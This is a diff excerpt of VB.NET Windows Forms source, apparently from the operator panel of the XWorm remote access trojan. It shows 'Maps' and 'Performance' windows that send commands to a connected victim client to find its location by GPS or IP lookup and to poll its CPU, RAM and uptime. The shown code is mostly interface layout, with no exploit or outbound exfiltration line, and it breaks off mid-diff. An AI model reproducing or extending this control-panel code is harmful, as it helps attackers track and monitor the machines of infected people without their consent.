'Guna2ContextMenuStrip2
|
||||
'
|
||||
Guna2ContextMenuStrip2.Items.AddRange(New System.Windows.Forms.ToolStripItem() {GPSToolStripMenuItem1, IPAPIToolStripMenuItem, BrowserToolStripMenuItem})
|
||||
Guna2ContextMenuStrip2.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip2.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip2.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip2.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip2.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip2.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip2.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip2.Size = New System.Drawing.Size(181, 92)
|
||||
'
|
||||
'GPSToolStripMenuItem1
|
||||
'
|
||||
GPSToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
GPSToolStripMenuItem1.Image = CType(resources.GetObject("GPSToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
GPSToolStripMenuItem1.Name = "GPSToolStripMenuItem1"
|
||||
GPSToolStripMenuItem1.Size = New System.Drawing.Size(180, 22)
|
||||
GPSToolStripMenuItem1.Text = "[ GPS ]"
|
||||
'
|
||||
'IPAPIToolStripMenuItem
|
||||
'
|
||||
IPAPIToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
IPAPIToolStripMenuItem.Image = CType(resources.GetObject("IPAPIToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
IPAPIToolStripMenuItem.Name = "IPAPIToolStripMenuItem"
|
||||
IPAPIToolStripMenuItem.Size = New System.Drawing.Size(180, 22)
|
||||
IPAPIToolStripMenuItem.Text = "[ IP-API ]"
|
||||
'
|
||||
'BrowserToolStripMenuItem
|
||||
'
|
||||
BrowserToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
BrowserToolStripMenuItem.Image = CType(resources.GetObject("BrowserToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
BrowserToolStripMenuItem.Name = "BrowserToolStripMenuItem"
|
||||
BrowserToolStripMenuItem.Size = New System.Drawing.Size(180, 22)
|
||||
BrowserToolStripMenuItem.Text = "[ Browser ]"
|
||||
'
|
||||
'Maps
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
ClientSize = New System.Drawing.Size(492, 292)
|
||||
Controls.Add(GMapControl1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Maps"
|
||||
Text = "Maps"
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
Guna2ContextMenuStrip2.ResumeLayout(False)
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents GMapControl1 As GMap.NET.WindowsForms.GMapControl
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Guna2ContextMenuStrip2 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents GPSToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents IPAPIToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents BrowserToolStripMenuItem As ToolStripMenuItem
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,42 @@
|
||||
Imports System.Threading
|
||||
Public Class Maps
|
||||
|
||||
Public C As Client
|
||||
Private Sub Maps_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("Clmaps")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub GPSToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles GPSToolStripMenuItem1.Click
|
||||
GMapControl1.Overlays.Clear()
|
||||
Dim B As Byte() = SB("GBS")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub IPAPIToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles IPAPIToolStripMenuItem.Click
|
||||
GMapControl1.Overlays.Clear()
|
||||
Dim B As Byte() = SB("api")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub BrowserToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles BrowserToolStripMenuItem.Click
|
||||
Try
|
||||
If ToolStripStatusLabel1.Text = "Error!" Or ToolStripStatusLabel1.Text = ".." Or ToolStripStatusLabel1.Text = Nothing Then
|
||||
Else
|
||||
Process.Start("https://www.google.com/maps/place/" & ToolStripStatusLabel1.Text)
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+422
@@ -0,0 +1,422 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class Performance
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Performance))
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Timer2 = New System.Windows.Forms.Timer(components)
|
||||
Label4 = New System.Windows.Forms.Label()
|
||||
Label3 = New System.Windows.Forms.Label()
|
||||
Label5 = New System.Windows.Forms.Label()
|
||||
Panel1 = New System.Windows.Forms.Panel()
|
||||
Label6 = New System.Windows.Forms.Label()
|
||||
Label7 = New System.Windows.Forms.Label()
|
||||
Panel2 = New System.Windows.Forms.Panel()
|
||||
Label8 = New System.Windows.Forms.Label()
|
||||
Label9 = New System.Windows.Forms.Label()
|
||||
Panel3 = New System.Windows.Forms.Panel()
|
||||
Label10 = New System.Windows.Forms.Label()
|
||||
Panel4 = New System.Windows.Forms.Panel()
|
||||
Label11 = New System.Windows.Forms.Label()
|
||||
Label12 = New System.Windows.Forms.Label()
|
||||
Panel5 = New System.Windows.Forms.Panel()
|
||||
Guna2Panel1 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2Panel3 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2Panel2 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2CircleProgressBar1 = New Guna.UI2.WinForms.Guna2CircleProgressBar()
|
||||
Guna2CircleProgressBar2 = New Guna.UI2.WinForms.Guna2CircleProgressBar()
|
||||
Label13 = New System.Windows.Forms.Label()
|
||||
Label14 = New System.Windows.Forms.Label()
|
||||
PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
Panel5.SuspendLayout()
|
||||
Guna2Panel1.SuspendLayout()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(20, 53)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(34, 13)
|
||||
Label1.TabIndex = 4
|
||||
Label1.Text = "CPU :"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(137, 103)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(36, 13)
|
||||
Label2.TabIndex = 5
|
||||
Label2.Text = "RAM :"
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Timer2
|
||||
'
|
||||
Timer2.Interval = 2000
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Label4.AutoSize = True
|
||||
Label4.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label4.ForeColor = System.Drawing.Color.Black
|
||||
Label4.Location = New System.Drawing.Point(179, 102)
|
||||
Label4.Name = "Label4"
|
||||
Label4.Size = New System.Drawing.Size(15, 13)
|
||||
Label4.TabIndex = 9
|
||||
Label4.Text = ".."
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Label3.AutoSize = True
|
||||
Label3.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label3.ForeColor = System.Drawing.Color.Black
|
||||
Label3.Location = New System.Drawing.Point(60, 53)
|
||||
Label3.Name = "Label3"
|
||||
Label3.Size = New System.Drawing.Size(15, 13)
|
||||
Label3.TabIndex = 8
|
||||
Label3.Text = ".."
|
||||
'
|
||||
'Label5
|
||||
'
|
||||
Label5.AutoSize = True
|
||||
Label5.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label5.ForeColor = System.Drawing.Color.Black
|
||||
Label5.Location = New System.Drawing.Point(300, 120)
|
||||
Label5.Name = "Label5"
|
||||
Label5.Size = New System.Drawing.Size(44, 13)
|
||||
Label5.TabIndex = 14
|
||||
Label5.Text = "Speed :"
|
||||
'
|
||||
'Panel1
|
||||
'
|
||||
Panel1.BackColor = System.Drawing.Color.FromArgb(CType(CType(139, Byte), Integer), CType(CType(201, Byte), Integer), CType(CType(77, Byte), Integer))
|
||||
Panel1.Location = New System.Drawing.Point(282, 169)
|
||||
Panel1.Name = "Panel1"
|
||||
Panel1.Size = New System.Drawing.Size(10, 10)
|
||||
Panel1.TabIndex = 15
|
||||
'
|
||||
'Label6
|
||||
'
|
||||
Label6.AutoSize = True
|
||||
Label6.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label6.ForeColor = System.Drawing.Color.Black
|
||||
Label6.Location = New System.Drawing.Point(350, 120)
|
||||
Label6.Name = "Label6"
|
||||
Label6.Size = New System.Drawing.Size(15, 13)
|
||||
Label6.TabIndex = 16
|
||||
Label6.Text = ".."
|
||||
'
|
||||
'Label7
|
||||
'
|
||||
Label7.AutoSize = True
|
||||
Label7.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label7.ForeColor = System.Drawing.Color.Black
|
||||
Label7.Location = New System.Drawing.Point(350, 169)
|
||||
Label7.Name = "Label7"
|
||||
Label7.Size = New System.Drawing.Size(15, 13)
|
||||
Label7.TabIndex = 19
|
||||
Label7.Text = ".."
|
||||
'
|
||||
'Panel2
|
||||
'
|
||||
Panel2.BackColor = System.Drawing.Color.FromArgb(CType(CType(139, Byte), Integer), CType(CType(201, Byte), Integer), CType(CType(77, Byte), Integer))
|
||||
Panel2.Location = New System.Drawing.Point(282, 145)
|
||||
Panel2.Name = "Panel2"
|
||||
Panel2.Size = New System.Drawing.Size(10, 10)
|
||||
Panel2.TabIndex = 18
|
||||
'
|
||||
'Label8
|
||||
'
|
||||
Label8.AutoSize = True
|
||||
Label8.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label8.ForeColor = System.Drawing.Color.Black
|
||||
Label8.Location = New System.Drawing.Point(302, 145)
|
||||
Label8.Name = "Label8"
|
||||
Label8.Size = New System.Drawing.Size(42, 13)
|
||||
Label8.TabIndex = 17
|
||||
Label8.Text = "Cores :"
|
||||
'
|
||||
'Label9
|
||||
'
|
||||
Label9.AutoSize = True
|
||||
Label9.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label9.ForeColor = System.Drawing.Color.Black
|
||||
Label9.Location = New System.Drawing.Point(350, 145)
|
||||
Label9.Name = "Label9"
|
||||
Label9.Size = New System.Drawing.Size(15, 13)
|
||||
Label9.TabIndex = 22
|
||||
Label9.Text = ".."
|
||||
'
|
||||
'Panel3
|
||||
'
|
||||
Panel3.BackColor = System.Drawing.Color.FromArgb(CType(CType(139, Byte), Integer), CType(CType(201, Byte), Integer), CType(CType(77, Byte), Integer))
|
||||
Panel3.Location = New System.Drawing.Point(282, 120)
|
||||
Panel3.Name = "Panel3"
|
||||
Panel3.Size = New System.Drawing.Size(10, 10)
|
||||
Panel3.TabIndex = 21
|
||||
'
|
||||
'Label10
|
||||
'
|
||||
Label10.AutoSize = True
|
||||
Label10.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label10.ForeColor = System.Drawing.Color.Black
|
||||
Label10.Location = New System.Drawing.Point(298, 169)
|
||||
Label10.Name = "Label10"
|
||||
Label10.Size = New System.Drawing.Size(46, 13)
|
||||
Label10.TabIndex = 20
|
||||
Label10.Text = "Logical :"
|
||||
'
|
||||
'Panel4
|
||||
'
|
||||
Panel4.BackColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(128, Byte), Integer), CType(CType(0, Byte), Integer))
|
||||
Panel4.Location = New System.Drawing.Point(282, 206)
|
||||
Panel4.Name = "Panel4"
|
||||
Panel4.Size = New System.Drawing.Size(10, 10)
|
||||
Panel4.TabIndex = 23
|
||||
'
|
||||
'Label11
|
||||
'
|
||||
Label11.AutoSize = True
|
||||
Label11.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label11.ForeColor = System.Drawing.Color.Black
|
||||
Label11.Location = New System.Drawing.Point(300, 206)
|
||||
Label11.Name = "Label11"
|
||||
Label11.Size = New System.Drawing.Size(44, 13)
|
||||
Label11.TabIndex = 24
|
||||
Label11.Text = "Speed :"
|
||||
'
|
||||
'Label12
|
||||
'
|
||||
Label12.AutoSize = True
|
||||
Label12.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label12.ForeColor = System.Drawing.Color.Black
|
||||
Label12.Location = New System.Drawing.Point(350, 206)
|
||||
Label12.Name = "Label12"
|
||||
Label12.Size = New System.Drawing.Size(15, 13)
|
||||
Label12.TabIndex = 25
|
||||
Label12.Text = ".."
|
||||
'
|
||||
'Panel5
|
||||
'
|
||||
Panel5.Controls.Add(Guna2Panel1)
|
||||
Panel5.Controls.Add(Guna2Panel3)
|
||||
Panel5.Controls.Add(Guna2Panel2)
|
||||
Panel5.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Panel5.Location = New System.Drawing.Point(0, 0)
|
||||
Panel5.Name = "Panel5"
|
||||
Panel5.Size = New System.Drawing.Size(452, 38)
|
||||
Panel5.TabIndex = 30
|
||||
'
|
||||
'Guna2Panel1
|
||||
'
|
||||
Guna2Panel1.Controls.Add(Guna2GradientButton1)
|
||||
Guna2Panel1.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Guna2Panel1.Location = New System.Drawing.Point(68, 0)
|
||||
Guna2Panel1.Name = "Guna2Panel1"
|
||||
Guna2Panel1.Size = New System.Drawing.Size(316, 21)
|
||||
Guna2Panel1.TabIndex = 35
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = Global.XWorm.My.Resources.Resources.Play
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(15, 15)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(316, 21)
|
||||
Guna2GradientButton1.TabIndex = 34
|
||||
Guna2GradientButton1.Text = "Start"
|
||||
'
|
||||
'Guna2Panel3
|
||||
'
|
||||
Guna2Panel3.Dock = System.Windows.Forms.DockStyle.Left
|
||||
Guna2Panel3.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2Panel3.Name = "Guna2Panel3"
|
||||
Guna2Panel3.Size = New System.Drawing.Size(68, 38)
|
||||
Guna2Panel3.TabIndex = 37
|
||||
'
|
||||
'Guna2Panel2
|
||||
'
|
||||
Guna2Panel2.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Guna2Panel2.Location = New System.Drawing.Point(384, 0)
|
||||
Guna2Panel2.Name = "Guna2Panel2"
|
||||
Guna2Panel2.Size = New System.Drawing.Size(68, 38)
|
||||
Guna2Panel2.TabIndex = 36
|
||||
'
|
||||
'Guna2CircleProgressBar1
|
||||
'
|
||||
Guna2CircleProgressBar1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2CircleProgressBar1.FillColor = System.Drawing.Color.FromArgb(CType(CType(200, Byte), Integer), CType(CType(213, Byte), Integer), CType(CType(218, Byte), Integer), CType(CType(223, Byte), Integer))
|
||||
Guna2CircleProgressBar1.FillThickness = 7
|
||||
Guna2CircleProgressBar1.Font = New System.Drawing.Font("Segoe UI", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Guna2CircleProgressBar1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2CircleProgressBar1.Location = New System.Drawing.Point(23, 72)
|
||||
Guna2CircleProgressBar1.Minimum = 0
|
||||
Guna2CircleProgressBar1.Name = "Guna2CircleProgressBar1"
|
||||
Guna2CircleProgressBar1.ProgressThickness = 7
|
||||
Guna2CircleProgressBar1.ShadowDecoration.Mode = Guna.UI2.WinForms.Enums.ShadowMode.Circle
|
||||
Guna2CircleProgressBar1.ShowText = True
|
||||
Guna2CircleProgressBar1.Size = New System.Drawing.Size(67, 67)
|
||||
Guna2CircleProgressBar1.TabIndex = 31
|
||||
'
|
||||
'Guna2CircleProgressBar2
|
||||
'
|
||||
Guna2CircleProgressBar2.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2CircleProgressBar2.FillColor = System.Drawing.Color.FromArgb(CType(CType(200, Byte), Integer), CType(CType(213, Byte), Integer), CType(CType(218, Byte), Integer), CType(CType(223, Byte), Integer))
|
||||
Guna2CircleProgressBar2.FillThickness = 7
|
||||
Guna2CircleProgressBar2.Font = New System.Drawing.Font("Segoe UI", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Guna2CircleProgressBar2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2CircleProgressBar2.Location = New System.Drawing.Point(140, 120)
|
||||
Guna2CircleProgressBar2.Minimum = 0
|
||||
Guna2CircleProgressBar2.Name = "Guna2CircleProgressBar2"
|
||||
Guna2CircleProgressBar2.ProgressColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(128, Byte), Integer), CType(CType(0, Byte), Integer))
|
||||
Guna2CircleProgressBar2.ProgressColor2 = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(128, Byte), Integer), CType(CType(0, Byte), Integer))
|
||||
Guna2CircleProgressBar2.ProgressThickness = 7
|
||||
Guna2CircleProgressBar2.ShadowDecoration.Mode = Guna.UI2.WinForms.Enums.ShadowMode.Circle
|
||||
Guna2CircleProgressBar2.ShowText = True
|
||||
Guna2CircleProgressBar2.Size = New System.Drawing.Size(67, 67)
|
||||
Guna2CircleProgressBar2.TabIndex = 32
|
||||
'
|
||||
'Label13
|
||||
'
|
||||
Label13.AutoSize = True
|
||||
Label13.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label13.ForeColor = System.Drawing.Color.Black
|
||||
Label13.Location = New System.Drawing.Point(150, 225)
|
||||
Label13.Name = "Label13"
|
||||
Label13.Size = New System.Drawing.Size(15, 13)
|
||||
Label13.TabIndex = 34
|
||||
Label13.Text = ".."
|
||||
'
|
||||
'Label14
|
||||
'
|
||||
Label14.AutoSize = True
|
||||
Label14.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label14.ForeColor = System.Drawing.Color.Black
|
||||
Label14.Location = New System.Drawing.Point(60, 225)
|
||||
Label14.Name = "Label14"
|
||||
Label14.Size = New System.Drawing.Size(84, 13)
|
||||
Label14.TabIndex = 33
|
||||
Label14.Text = "SystemUpTime :"
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image)
|
||||
PictureBox1.Location = New System.Drawing.Point(23, 216)
|
||||
PictureBox1.Name = "PictureBox1"
|
||||
PictureBox1.Size = New System.Drawing.Size(30, 29)
|
||||
PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom
|
||||
PictureBox1.TabIndex = 35
|
||||
PictureBox1.TabStop = False
|
||||
'
|
||||
'Performance
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(452, 266)
|
||||
Controls.Add(PictureBox1)
|
||||
Controls.Add(Label13)
|
||||
Controls.Add(Label14)
|
||||
Controls.Add(Guna2CircleProgressBar2)
|
||||
Controls.Add(Guna2CircleProgressBar1)
|
||||
Controls.Add(Panel5)
|
||||
Controls.Add(Label12)
|
||||
Controls.Add(Label11)
|
||||
Controls.Add(Panel4)
|
||||
Controls.Add(Label9)
|
||||
Controls.Add(Panel3)
|
||||
Controls.Add(Label10)
|
||||
Controls.Add(Label7)
|
||||
Controls.Add(Panel2)
|
||||
Controls.Add(Label8)
|
||||
Controls.Add(Label6)
|
||||
Controls.Add(Panel1)
|
||||
Controls.Add(Label5)
|
||||
Controls.Add(Label4)
|
||||
Controls.Add(Label3)
|
||||
Controls.Add(Label2)
|
||||
Controls.Add(Label1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Performance"
|
||||
Text = "Performance"
|
||||
Panel5.ResumeLayout(False)
|
||||
Guna2Panel1.ResumeLayout(False)
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents Timer2 As Timer
|
||||
Friend WithEvents Label4 As Label
|
||||
Friend WithEvents Label3 As Label
|
||||
Friend WithEvents Label5 As Label
|
||||
Friend WithEvents Panel1 As Panel
|
||||
Friend WithEvents Label6 As Label
|
||||
Friend WithEvents Label7 As Label
|
||||
Friend WithEvents Panel2 As Panel
|
||||
Friend WithEvents Label8 As Label
|
||||
Friend WithEvents Label9 As Label
|
||||
Friend WithEvents Panel3 As Panel
|
||||
Friend WithEvents Label10 As Label
|
||||
Friend WithEvents Panel4 As Panel
|
||||
Friend WithEvents Label11 As Label
|
||||
Friend WithEvents Label12 As Label
|
||||
Friend WithEvents Panel5 As Panel
|
||||
Friend WithEvents Guna2Panel1 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2Panel3 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2Panel2 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2CircleProgressBar1 As Guna.UI2.WinForms.Guna2CircleProgressBar
|
||||
Friend WithEvents Guna2CircleProgressBar2 As Guna.UI2.WinForms.Guna2CircleProgressBar
|
||||
Friend WithEvents Label13 As Label
|
||||
Friend WithEvents Label14 As Label
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,46 @@
|
||||
Imports System.Threading
|
||||
Public Class Performance
|
||||
|
||||
Public C As Client
|
||||
Private Sub Performance_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Guna2GradientButton1.PerformClick()
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Performance_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("ClosePerformance")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
|
||||
Dim B As Byte() = SB("GetPerformance")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
If Guna2GradientButton1.Text = "Start" Then
|
||||
|
||||
Timer2.Enabled = True
|
||||
Timer2.Start()
|
||||
|
||||
Guna2GradientButton1.Text = "Stop"
|
||||
Guna2GradientButton1.Image = My.Resources._Stop
|
||||
Else
|
||||
Try
|
||||
Timer2.Dispose()
|
||||
Catch
|
||||
End Try
|
||||
Guna2GradientButton1.Text = "Start"
|
||||
Guna2GradientButton1.Image = My.Resources.Play
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+218
